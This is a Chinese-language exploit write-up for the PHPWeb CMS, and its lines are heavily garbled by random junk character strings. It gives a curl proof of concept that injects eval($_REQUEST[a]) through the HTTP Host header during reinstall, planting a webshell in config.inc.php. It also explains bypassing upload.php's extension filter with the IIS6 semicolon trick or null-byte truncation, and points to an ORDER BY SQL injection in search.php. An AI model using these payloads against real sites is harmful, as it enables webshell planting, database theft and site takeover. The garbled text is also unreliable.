注入:& s9 |& {. S; s' i4 X, b5 z: t
* g1 F& Q. X0 G" ~% O1 F
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! O" v/ L/ Z8 h9 O % V1 h2 h1 U4 H+ a/ a1 F
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" v9 l5 B+ ?% Y% i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录" C; a1 y; E% N, u0 a7 B" `) k
4 f3 u% A( L8 n! |! A7 }/ D3 r$ y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) d$ u0 D- C" l D# R9 h
) m# D/ j P0 Y5 r0 w8 {3 [2 |分析:: ?' B+ ~# I+ z" w, D2 U: q
9 ~# y( ]% `% a! V# P/ R
8 A$ V8 L. }6 }. j# n) k$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤- O5 B6 D3 D- h0 s9 ?9 Z, j
# p2 e C5 G, m, o- b $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 X% V0 {( T6 _4 M $filestr=str_replace(" ","",$filestr);
2 v' g- _7 c+ i- z $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);/ w+ M9 g! i# [, G% B0 J( _5 }: G
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
* G, {+ ]" X/ M( e! G/ u" {7 i $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- g- m3 f2 T* A) d* F" k; g $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, W6 x# `" X0 g/ D
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 {: J$ ?& |9 z( b
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 O9 Z+ g/ T/ [4 ]1 L $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, N7 X5 D& I: c8 N( F 4 L# t. K# z& H, P+ O& S' r3 O
fwrite(fopen($ConFile,"w"),$filestr,30000);
4 g6 {; e N2 W* k$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^! u3 i) U7 E7 g8 d1 t {8 b
6 o) i0 x9 ?& F4 s( g* J
poc:) z1 o- ]- V8 b8 Y, k
: a4 S6 W$ j! F( P
?6 d. `' F) S) t& n- Q9 v. S6 F! Z
19 [5 p: [0 N# o3 I/ l9 B
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
1 J( i( W* l9 G& wshell地址: /config.inc.php: K' L$ i+ F& J! w% I2 k* J/ K- [+ c
跟之前的 phpcms一样 需要远程数据库
8 W: j; j8 j6 V U, N$ h" E: `
. Q$ j1 b: p z' ^) T# U' d' d——————————————————–* e% ]+ t* e: A
上传漏洞(需要进后台):
% u* I, F! q+ B' F" `" ?漏洞文件: /kedit/upload_cgi/upload.php
2 B$ y5 J6 Z! A/ g: \! Q' J0 S这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
8 C! \2 d6 G4 k5 Y% c% V / @7 `2 Q3 H. N1 ~2 c
& [* Y* b; I* E
<?php: V2 a( P7 k" c3 h# r% {+ r8 e
define("ROOTPATH", "../../");( X' s9 ?( P; K8 a& \+ W- J) h; B7 J
include(ROOTPATH."includes/admin.inc.php");
- T$ N* J7 ]$ G NeedAuth(0);# F$ g+ B( m8 |% }3 @7 s
! }! y. [% V2 J( l8 |( ] $dt=date("Ymd",time());7 u2 T! x+ n: d
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 Y5 X4 v$ a& W @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);; }; N+ o2 c1 [$ @/ w
}2 Z5 t# E( b5 u! @, ^2 L
t m' W7 M# J$ Q0 V" l! z //文件保存目录路径
5 }0 n/ c1 f" E9 E3 J( c $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 n8 c$ r2 t% E! L1 h0 o0 B echo $save_path;2 E1 f2 _" E6 R4 x
//文件保存目录URL0 V9 i: b2 W$ A) k, l: q: z/ v+ G1 e
$save_url = '../../'.$_POST['attachPath'].$dt.'/';* ^2 L- w: T- ~/ |. r1 W
+ ~" ]. J6 A9 p //定义允许上传的文件扩展名9 v' [9 i5 X S: b c" y, {* I
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀$ M% b/ G3 T* ]3 x5 D: o7 Y; B' C
# U/ n6 L1 P" M# G7 q //最大文件大小" O7 ]& w5 U5 K8 a# h' L' C
$max_size = 1000000;
/ Y, H# r" i" ?4 `5 E+ H
4 Z2 f1 I' k1 [7 S* E0 J //更改目录权限7 x+ r1 o4 Y3 j
@mkdir($save_path, 0777); ?- `8 ? `3 P8 M9 j# ^; ]
- v; h3 s. y2 J9 r' @. Q q //文件的全部路径( m, h4 Y% g- Y% K8 I' ?3 J
$file_path = $save_path.$_POST['fileName']; //保存文件名
+ g1 E \% D0 ^& N 3 x" \# B( q) J2 O) d- l
//文件URL
4 N5 u" T9 v# Z* {5 w: h $file_url = $save_url.$_POST['fileName'];
. X* s& b/ r1 s' V: u5 I- ~//有上传文件时
6 [0 k# |% r+ I/ E( [0 D if (empty($_FILES) === false) {
$ ?! w; @2 \# \ - f b, X* h6 e& l" Q; q
//原文件名
u. N: P, L. E) P; i- O $file_name = $_FILES['fileData']['name'];# k" x! r$ |. L4 x6 C6 r9 |2 R. o
//服务器上临时文件名
6 t; n% x8 x0 N5 i $tmp_name = $_FILES['fileData']['tmp_name'];$ y* N2 [' N2 j9 W. I* q
//文件大小
( j* b9 k( H: b: k7 ]2 Y: M% i $file_size = $_FILES['fileData']['size'];' F% C) r# L& O% `% ^: f! }' t
//检查目录
/ s& v* |( K# J+ `9 T) } if (@is_dir($save_path) === false) {
: y6 Q/ z5 Z0 g2 x; M0 ? alert("上传目录不存在。");
( n: g: |. m! o4 G, `9 y% W }
4 q* v$ K5 [& x% S* L+ W- N //检查目录写权限
8 r9 |6 g6 l3 x2 x. B% R if (@is_writable($save_path) === false) {
/ L/ M, q9 }7 Q9 C alert("上传目录没有写权限。");
; n% u" k8 y1 N6 G/ }( \ }
. d7 f2 n* H* q% X% C //检查是否已上传- p& M+ f0 A( |! ~) j2 s: q
if (@is_uploaded_file($tmp_name) === false) {: S( w5 O' T# N5 [
alert("临时文件可能不是上传文件。");
8 l! M2 z# f8 G- B2 ?% y: ^3 y }
( P! ?: ]7 t- I' Q. S //检查文件大小3 s1 w. w# x# B, D: M7 R3 @* i
if ($file_size > $max_size) {
/ f" G$ c. [& e5 l! r& }3 Q0 t alert("上传文件大小超过限制。");0 J K4 @$ [. z: j
}
+ l0 N) l' x) \. E d. ?) f //获得文件扩展名7 L* s- x7 R. [% n9 Y! f
$temp_arr = explode(".", $_POST['fileName']);
) t2 t2 g8 x: m4 }( _ D9 p $file_ext = array_pop($temp_arr);
! V' h6 x y; `. l; K $file_ext = trim($file_ext);
, U8 E ?# J8 _ $file_ext = strtolower($file_ext);3 x) v# J, T6 s% R
# M/ |; @" z! u0 y, H) Q, _ //检查扩展名 / z8 b3 ^; F5 c, u! s. f; }0 W
if (in_array($file_ext, $ext_arr) === false) { ) s9 u: U/ G3 e0 L* L3 ~
alert("上传文件扩展名是不允许的扩展名。");% L% B* _# \1 ^( q K3 a' Q
}1 n' @; ]% f% @
/ K4 h& N, ?8 K/ K$ y
//移动文件 , |# x- B+ ~' O5 T9 A3 e6 G: P5 e
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
4 t* x" i2 {7 b( u if (move_uploaded_file($tmp_name, $file_path) === false) {
5 i- R! S/ E" F+ G# q- `4 h9 [ alert("上传文件失败。");
6 U" A5 o* ^0 e J) k+ V }
, t" k( q0 X# C) ?7 W ( U/ w3 U! K8 |; M4 b- l8 A
@chmod($file_path,0666);
' D) X$ J) w( @& }3 c4 m& o4 e
' u. e; m3 s! |0 o# n/ N. [ ?>0 l( ^8 \1 B# a/ a7 J
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227* }: p6 ^9 j# W8 @: A# L
7 @6 v: ]0 T, d4 t; H5 p5 l7 s
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过- ?& u% I* ?; q1 U- M
" s% S8 O v, K |; D——————————————————2 x/ }" o. S2 x6 ^" y. @
注入漏洞:
8 e8 e2 e$ x# J) D6 [# f* ~漏洞文件:search/module/search.php W) C6 P: n5 o( v) _
/search/index.php?key=1&myord=1 [sqlinjection]) n) J, y7 B: j. k. h _
0 Q6 o l. o7 n9 B$ z" G. w
3 `3 _ r0 y# B' w; w$ e0 [" c5 l<?php
% e1 I2 E3 G! ]" ]# s& F // ... 省略 n 行...
& D! o- x7 N' V# b- A$ O //第18行:
& O" \: k9 _/ r, I# Q $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响# G1 _' o# y8 ?; l; i$ l1 d7 \ f
$page=htmlspecialchars($_GET["page"]);
& h* |* H2 Y4 w( l $myord=htmlspecialchars($_GET["myord"]);5 i& E: f9 E, P, |$ F
& f4 y0 p0 ^+ g: T3 ] J0 t9 j7 b0 R // ... 省略 n 行...! ^" W# x' b' l: d
$key,$myord 两个参数带入查询; C- N5 \& y! l8 J) M. W
//第47行 $key:
3 k9 Z, ]* T) v9 j 2 |, J1 X/ b/ U
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
" I h6 T: ]( y! U" c2 A6 ` " }+ c" ^8 O: M& T& o
//第197行 $myord
! T% s) b: Z! W& [ $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
: y* `4 V/ A4 g2 w/ k) l Y
4 a `0 F! G$ l, H; Z8 h. W ?>- l7 P4 H" i# _' Q* K
|